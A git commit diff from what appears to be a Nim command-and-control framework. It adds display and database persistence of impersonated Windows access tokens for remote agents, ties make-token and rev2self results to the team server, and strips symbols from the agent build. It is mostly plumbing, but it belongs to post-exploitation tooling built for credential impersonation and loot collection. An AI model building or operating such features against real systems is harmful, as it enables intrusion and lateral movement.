Impersonated user is displayed in the client UI and persisted in the team server database.

This commit is contained in:
Jakob Friedl
2025-10-17 13:01:12 +02:00
parent 0fc8ff3caa
commit 4a1a70da4d
11 changed files with 95 additions and 25 deletions

View File

@@ -3,6 +3,6 @@
-d:release -d:release
--opt:size --opt:size
--passL:"-s" # Strip symbols, such as sensitive function names --passL:"-s" # Strip symbols, such as sensitive function names
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" -d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
-d:MODULES="511" -d:MODULES="511"
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe" -o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"

View File

@@ -96,6 +96,9 @@ proc main(ip: string = "localhost", port: int = 37573) =
sessionsTable.agents.add(agent) sessionsTable.agents.add(agent)
sessionsTable.agentActivity[agent.agentId] = agent.latestCheckin sessionsTable.agentActivity[agent.agentId] = agent.latestCheckin
if not agent.impersonationToken.isEmptyOrWhitespace():
sessionsTable.agentImpersonation[agent.agentId] = agent.impersonationToken
# Initialize position of console windows to bottom by drawing them once when they are added # Initialize position of console windows to bottom by drawing them once when they are added
# By default, the consoles are attached to the same DockNode as the Listeners table (Default: bottom), # By default, the consoles are attached to the same DockNode as the Listeners table (Default: bottom),
# so if you place your listeners somewhere else, the console windows show up somewhere else too # so if you place your listeners somewhere else, the console windows show up somewhere else too
@@ -171,6 +174,16 @@ proc main(ip: string = "localhost", port: int = 37573) =
of SCREENSHOT: of SCREENSHOT:
lootScreenshots.addTexture(lootItem.lootId, data) lootScreenshots.addTexture(lootItem.lootId, data)
else: discard else: discard
of CLIENT_IMPERSONATE_TOKEN:
let
agentId = event.data["agentId"].getStr()
impersonationToken = event.data["username"].getStr()
sessionsTable.agentImpersonation[agentId] = impersonationToken
of CLIENT_REVERT_TOKEN:
echo event.data["agentId"].getStr()
sessionsTable.agentImpersonation.del(event.data["agentId"].getStr())
else: discard else: discard

View File

@@ -9,7 +9,8 @@ type
SessionsTableComponent* = ref object of RootObj SessionsTableComponent* = ref object of RootObj
title: string title: string
agents*: seq[UIAgent] agents*: seq[UIAgent]
agentActivity*: Table[string, int64] # Direct O(1) access to latest checkin agentActivity*: Table[string, int64] # Direct O(1) access to latest checkin
agentImpersonation*: Table[string, string]
selection: ptr ImGuiSelectionBasicStorage selection: ptr ImGuiSelectionBasicStorage
consoles: ptr Table[string, ConsoleComponent] consoles: ptr Table[string, ConsoleComponent]
@@ -45,6 +46,8 @@ proc interact(component: SessionsTableComponent) =
proc draw*(component: SessionsTableComponent, showComponent: ptr bool) = proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
igBegin(component.title, showComponent, 0) igBegin(component.title, showComponent, 0)
let textSpacing = igGetStyle().ItemSpacing.x
let tableFlags = ( let tableFlags = (
ImGuiTableFlags_Resizable.int32 or ImGuiTableFlags_Resizable.int32 or
ImGuiTableFlags_Reorderable.int32 or ImGuiTableFlags_Reorderable.int32 or
@@ -59,7 +62,7 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
ImGui_TableFlags_SizingStretchSame.int32 ImGui_TableFlags_SizingStretchSame.int32
) )
let cols: int32 = 12 let cols: int32 = 11
if igBeginTable("Sessions", cols, tableFlags, vec2(0.0f, 0.0f), 0.0f): if igBeginTable("Sessions", cols, tableFlags, vec2(0.0f, 0.0f), 0.0f):
igTableSetupColumn("AgentID", ImGuiTableColumnFlags_NoReorder.int32 or ImGuiTableColumnFlags_NoHide.int32, 0.0f, 0) igTableSetupColumn("AgentID", ImGuiTableColumnFlags_NoReorder.int32 or ImGuiTableColumnFlags_NoHide.int32, 0.0f, 0)
@@ -68,7 +71,6 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
igTableSetupColumn("IP (External)", ImGuiTableColumnFlags_DefaultHide.int32, 0.0f, 0) igTableSetupColumn("IP (External)", ImGuiTableColumnFlags_DefaultHide.int32, 0.0f, 0)
igTableSetupColumn("Username", ImGuiTableColumnFlags_None.int32, 0.0f, 0) igTableSetupColumn("Username", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
igTableSetupColumn("Hostname", ImGuiTableColumnFlags_None.int32, 0.0f, 0) igTableSetupColumn("Hostname", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
igTableSetupColumn("Domain", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
igTableSetupColumn("OS", ImGuiTableColumnFlags_None.int32, 0.0f, 0) igTableSetupColumn("OS", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
igTableSetupColumn("Process", ImGuiTableColumnFlags_None.int32, 0.0f, 0) igTableSetupColumn("Process", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
igTableSetupColumn("PID", ImGuiTableColumnFlags_None.int32, 0.0f, 0) igTableSetupColumn("PID", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
@@ -104,18 +106,26 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
if igTableSetColumnIndex(3): if igTableSetColumnIndex(3):
igText(agent.ipExternal) igText(agent.ipExternal)
if igTableSetColumnIndex(4): if igTableSetColumnIndex(4):
if not agent.domain.isEmptyOrWhitespace():
igText(agent.domain & "\\")
igSameLine(0.0f, 0.0f)
igText(agent.username) igText(agent.username)
if component.agentImpersonation.hasKey(agent.agentId):
igSameLine(0.0f, textSpacing)
igText(fmt"[{component.agentImpersonation[agent.agentId]}]")
if igTableSetColumnIndex(5): if igTableSetColumnIndex(5):
igText(agent.hostname) igText(agent.hostname)
if igTableSetColumnIndex(6): if igTableSetColumnIndex(6):
igText(if agent.domain.isEmptyOrWhitespace(): "-" else: agent.domain)
if igTableSetColumnIndex(7):
igText(agent.os) igText(agent.os)
if igTableSetColumnIndex(8): if igTableSetColumnIndex(7):
igText(agent.process) igText(agent.process)
if igTableSetColumnIndex(9): if igTableSetColumnIndex(8):
igText($agent.pid) igText($agent.pid)
if igTableSetColumnIndex(10): if igTableSetColumnIndex(9):
let duration = now() - agent.firstCheckin.fromUnix().local() let duration = now() - agent.firstCheckin.fromUnix().local()
let totalSeconds = duration.inSeconds let totalSeconds = duration.inSeconds
@@ -126,7 +136,7 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
let timeText = dateTime(2000, mJan, 1, hours.int, minutes.int, seconds.int).format("HH:mm:ss") let timeText = dateTime(2000, mJan, 1, hours.int, minutes.int, seconds.int).format("HH:mm:ss")
igText(fmt"{timeText} ago") igText(fmt"{timeText} ago")
if igTableSetColumnIndex(11): if igTableSetColumnIndex(10):
let duration = now() - component.agentActivity[agent.agentId].fromUnix().local() let duration = now() - component.agentActivity[agent.agentId].fromUnix().local()
let totalSeconds = duration.inSeconds let totalSeconds = duration.inSeconds

View File

@@ -55,6 +55,8 @@ type
CMD_MAKE_TOKEN = 18'u16 CMD_MAKE_TOKEN = 18'u16
CMD_STEAL_TOKEN = 19'u16 CMD_STEAL_TOKEN = 19'u16
CMD_REV2SELF = 20'u16 CMD_REV2SELF = 20'u16
CMD_TOKEN_GET_PRIV = 21'u16
CMD_TOKEN_SET_PRIV = 22'u16
StatusType* = enum StatusType* = enum
STATUS_COMPLETED = 0'u8 STATUS_COMPLETED = 0'u8
@@ -195,6 +197,7 @@ type
agentId*: string agentId*: string
listenerId*: string listenerId*: string
username*: string username*: string
impersonationToken*: string
hostname*: string hostname*: string
domain*: string domain*: string
ipInternal*: string ipInternal*: string
@@ -215,6 +218,7 @@ type
agentId*: string agentId*: string
listenerId*: string listenerId*: string
username*: string username*: string
impersonationToken*: string
hostname*: string hostname*: string
domain*: string domain*: string
ipInternal*: string ipInternal*: string
@@ -275,6 +279,8 @@ type
CLIENT_BUILDLOG_ITEM = 107'u8 # Add entry to the build log CLIENT_BUILDLOG_ITEM = 107'u8 # Add entry to the build log
CLIENT_LOOT_ADD = 108'u8 # Add file or screenshot stored on the team server to preview on the client, only sends metadata and not the actual file content CLIENT_LOOT_ADD = 108'u8 # Add file or screenshot stored on the team server to preview on the client, only sends metadata and not the actual file content
CLIENT_LOOT_DATA = 109'u8 # Send file/screenshot bytes to the client to display as preview or to download to the client desktop CLIENT_LOOT_DATA = 109'u8 # Send file/screenshot bytes to the client to display as preview or to download to the client desktop
CLIENT_IMPERSONATE_TOKEN = 110'u8 # Access token impersonated
CLIENT_REVERT_TOKEN = 111'u8 # Revert to original logon session
Event* = object Event* = object
eventType*: EventType eventType*: EventType

View File

@@ -16,7 +16,7 @@ let module* = Module(
description: protect("Create an access token from username and password."), description: protect("Create an access token from username and password."),
example: protect("make-token LAB\\john Password123!"), example: protect("make-token LAB\\john Password123!"),
arguments: @[ arguments: @[
Argument(name: protect("domain\\username"), description: protect("Account domain and username."), argumentType: STRING, isRequired: true), Argument(name: protect("domain\\username"), description: protect("Account domain and username. For impersonating local users, use .\\username."), argumentType: STRING, isRequired: true),
Argument(name: protect("password"), description: protect("Account password."), argumentType: STRING, isRequired: true), Argument(name: protect("password"), description: protect("Account password."), argumentType: STRING, isRequired: true),
Argument(name: protect("logonType"), description: protect("Logon type (https://learn.microsoft.com/en-us/windows-server/identity/securing-privileged-access/reference-tools-logon-types)."), argumentType: INT, isRequired: false) Argument(name: protect("logonType"), description: protect("Logon type (https://learn.microsoft.com/en-us/windows-server/identity/securing-privileged-access/reference-tools-logon-types)."), argumentType: INT, isRequired: false)
], ],
@@ -63,6 +63,9 @@ when defined(agent):
if task.argCount == 3: if task.argCount == 3:
logonType = cast[DWORD](Bytes.toUint32(task.args[2].data)) logonType = cast[DWORD](Bytes.toUint32(task.args[2].data))
# Revert current token before creating a new one
discard rev2self()
if not makeToken(userParts[1], password, userParts[0], logonType): if not makeToken(userParts[1], password, userParts[0], logonType):
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(protect("Failed to create token."))) return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(protect("Failed to create token.")))
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"Impersonated {username}.")) return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"Impersonated {username}."))

View File

@@ -99,6 +99,20 @@ proc handleResult*(resultData: seq[byte]) =
cq.client.sendConsoleItem(agentId, LOG_SUCCESS, fmt"Task {taskId} completed.") cq.client.sendConsoleItem(agentId, LOG_SUCCESS, fmt"Task {taskId} completed.")
cq.success(fmt"Task {taskId} completed.") cq.success(fmt"Task {taskId} completed.")
cq.agents[agentId].tasks = cq.agents[agentId].tasks.filterIt(it.taskId != taskResult.taskId) cq.agents[agentId].tasks = cq.agents[agentId].tasks.filterIt(it.taskId != taskResult.taskId)
# Handle additional actions or UI-events based on command type (only when command succeeded)
case cast[CommandType](taskResult.command):
of CMD_MAKE_TOKEN:
let impersonationToken: string = Bytes.toString(taskResult.data).split(" ")[1][0..^2] # Remove trailing '.' character from the domain\username string
if cq.dbUpdateTokenImpersonation(agentId, impersonationToken):
cq.agents[agentId].impersonationToken = impersonationToken
cq.client.sendImpersonateToken(agentId, impersonationToken)
of CMD_REV2SELF:
if cq.dbUpdateTokenImpersonation(agentId, ""):
cq.agents[agentId].impersonationToken.setLen(0)
cq.client.sendRevertToken(agentId)
else: discard
of STATUS_FAILED: of STATUS_FAILED:
cq.client.sendConsoleItem(agentId, LOG_ERROR, fmt"Task {taskId} failed.") cq.client.sendConsoleItem(agentId, LOG_ERROR, fmt"Task {taskId} failed.")
cq.error(fmt"Task {taskId} failed.") cq.error(fmt"Task {taskId} failed.")
@@ -138,11 +152,8 @@ proc handleResult*(resultData: seq[byte]) =
host: cq.agents[agentId].hostname host: cq.agents[agentId].hostname
) )
# Store loot in database
if not cq.dbStoreLoot(lootItem):
raise newException(ValueError, fmt"Failed to store loot in database." & "\n")
# Send loot to client to display file/screenshot in the UI # Send loot to client to display file/screenshot in the UI
discard cq.dbStoreLoot(lootItem)
cq.client.sendLoot(lootItem) cq.client.sendLoot(lootItem)
cq.output(fmt"File downloaded to {downloadPath} ({$fileData.len()} bytes).", "\n") cq.output(fmt"File downloaded to {downloadPath} ({$fileData.len()} bytes).", "\n")

View File

@@ -114,6 +114,7 @@ proc deserializeNewAgent*(cq: Conquest, data: seq[byte], remoteAddress: string):
agentId: Uuid.toString(header.agentId), agentId: Uuid.toString(header.agentId),
listenerId: Uuid.toString(listenerId), listenerId: Uuid.toString(listenerId),
username: username, username: username,
impersonationToken: "",
hostname: hostname, hostname: hostname,
domain: domain, domain: domain,
ipInternal: ipInternal, ipInternal: ipInternal,

View File

@@ -9,6 +9,7 @@ proc `%`*(agent: Agent): JsonNode =
result["agentId"] = %agent.agentId result["agentId"] = %agent.agentId
result["listenerId"] = %agent.listenerId result["listenerId"] = %agent.listenerId
result["username"] = %agent.username result["username"] = %agent.username
result["impersonationToken"] = %agent.impersonationToken
result["hostname"] = %agent.hostname result["hostname"] = %agent.hostname
result["domain"] = %agent.domain result["domain"] = %agent.domain
result["ipInternal"] = %agent.ipInternal result["ipInternal"] = %agent.ipInternal
@@ -188,5 +189,28 @@ proc sendLootData*(client: WsConnection, loot: LootItem, data: string) =
"data": encode(data) "data": encode(data)
} }
) )
if client != nil:
client.ws.sendEvent(event, client.sessionKey)
proc sendImpersonateToken*(client: WsConnection, agentId: string, username: string) =
let event = Event(
eventType: CLIENT_IMPERSONATE_TOKEN,
timestamp: now().toTime().toUnix(),
data: %*{
"agentId": agentId,
"username": username
}
)
if client != nil:
client.ws.sendEvent(event, client.sessionKey)
proc sendRevertToken*(client: WsConnection, agentId: string) =
let event = Event(
eventType: CLIENT_REVERT_TOKEN,
timestamp: now().toTime().toUnix(),
data: %*{
"agentId": agentId
}
)
if client != nil: if client != nil:
client.ws.sendEvent(event, client.sessionKey) client.ws.sendEvent(event, client.sessionKey)

View File

@@ -28,6 +28,7 @@ proc dbInit*(cq: Conquest) =
process TEXT NOT NULL, process TEXT NOT NULL,
pid INTEGER NOT NULL, pid INTEGER NOT NULL,
username TEXT NOT NULL, username TEXT NOT NULL,
impersonationToken TEXT NOT NULL,
hostname TEXT NOT NULL, hostname TEXT NOT NULL,
domain TEXT NOT NULL, domain TEXT NOT NULL,
ipInternal TEXT NOT NULL, ipInternal TEXT NOT NULL,

View File

@@ -15,9 +15,9 @@ proc dbStoreAgent*(cq: Conquest, agent: Agent): bool =
let sessionKeyBlob = agent.sessionKey.toSeq() let sessionKeyBlob = agent.sessionKey.toSeq()
conquestDb.exec(""" conquestDb.exec("""
INSERT INTO agents (agentId, listenerId, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, sleep, modules, firstCheckin, latestCheckin, sessionKey) INSERT INTO agents (agentId, listenerId, process, pid, username, impersonationToken, hostname, domain, ipInternal, ipExternal, os, elevated, sleep, modules, firstCheckin, latestCheckin, sessionKey)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?); VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?);
""", agent.agentId, agent.listenerId, agent.process, agent.pid, agent.username, agent.hostname, agent.domain, agent.ipInternal, agent.ipExternal, agent.os, agent.elevated, agent.sleep, agent.modules, agent.firstCheckin, agent.latestCheckin, sessionKeyBlob) """, agent.agentId, agent.listenerId, agent.process, agent.pid, agent.username, agent.impersonationToken, agent.hostname, agent.domain, agent.ipInternal, agent.ipExternal, agent.os, agent.elevated, agent.sleep, agent.modules, agent.firstCheckin, agent.latestCheckin, sessionKeyBlob)
conquestDb.close() conquestDb.close()
except: except:
@@ -32,8 +32,8 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] =
try: try:
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite) let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
for row in conquestDb.iterate("SELECT agentId, listenerId, sleep, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKey FROM agents;"): for row in conquestDb.iterate("SELECT agentId, listenerId, sleep, process, pid, username, impersonationToken, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKey FROM agents;"):
let (agentId, listenerId, sleep, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKeyBlob) = row.unpack((string, string, int, string, int, string, string, string, string, string, string, bool, uint32, int64, int64, seq[byte])) let (agentId, listenerId, sleep, process, pid, username, impersonationToken, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKeyBlob) = row.unpack((string, string, int, string, int, string, string, string, string, string, string, string, bool, uint32, int64, int64, seq[byte]))
# Convert session key blob back to array # Convert session key blob back to array
var sessionKey: Key var sessionKey: Key
@@ -49,6 +49,7 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] =
sleep: sleep, sleep: sleep,
pid: pid, pid: pid,
username: username, username: username,
impersonationToken: impersonationToken,
hostname: hostname, hostname: hostname,
domain: domain, domain: domain,
ipInternal: ipInternal, ipInternal: ipInternal,
@@ -128,11 +129,11 @@ proc dbDeleteAgentByName*(cq: Conquest, agentId: string): bool =
return true return true
proc dbAgentExists*(cq: Conquest, agentName: string): bool = proc dbAgentExists*(cq: Conquest, agentId: string): bool =
try: try:
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite) let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
let res = conquestDb.one("SELECT 1 FROM agents WHERE agentId = ? LIMIT 1", agentName) let res = conquestDb.one("SELECT 1 FROM agents WHERE agentId = ? LIMIT 1", agentId)
conquestDb.close() conquestDb.close()
@@ -141,11 +142,11 @@ proc dbAgentExists*(cq: Conquest, agentName: string): bool =
cq.error(getCurrentExceptionMsg()) cq.error(getCurrentExceptionMsg())
return false return false
proc dbUpdateSleep*(cq: Conquest, agentName: string, delay: int): bool = proc dbUpdateTokenImpersonation*(cq: Conquest, agentId: string, impersonationToken: string): bool =
try: try:
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite) let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
conquestDb.exec("UPDATE agents SET sleep = ? WHERE agentId = ?", delay, agentName) conquestDb.exec("UPDATE agents SET impersonationToken = ? WHERE agentId = ?", impersonationToken, agentId)
conquestDb.close() conquestDb.close()
return true return true

View File

@@ -1,4 +1,4 @@
import strformat, strutils, system, terminal, tiny_sqlite import strformat, system, terminal, tiny_sqlite
import ../core/logger import ../core/logger
import ../../common/types import ../../common/types